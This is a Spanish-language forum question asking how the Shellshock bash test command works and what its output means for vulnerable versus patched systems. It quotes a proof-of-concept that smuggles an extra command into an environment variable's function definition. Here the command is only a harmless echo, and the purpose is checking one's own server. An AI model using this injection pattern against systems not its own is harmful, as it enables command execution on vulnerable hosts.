Quería entender por qué el siguiente código sirve como prueba de concepto para decirme si mi servidor es vulnerable o no. Además, ¿cómo funciona la vulnerabilidad en un nivel inferior?
$ env 'x=() { :;}; echo vulnerable' 'BASH_FUNC_x()=() { :;}; echo vulnerable'
Entonces, cuando ejecuto el siguiente comando
bash -c "echo test"
Puedo obtener cualquiera de los dos (lo que significa que soy vulnerable):
vulnerable
bash: BASH_FUNC_x(): line 0: syntax error near unexpected token ')'
bash: BASH_FUNC_x(): line 0: 'BASH_FUNC_x() () { :;}; echo vulnerable'
bash: error importing function definition for 'BASH_FUNC_x'
test
o (lo que significa que no soy vulnerable):
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for 'BASH_FUNC_x'
test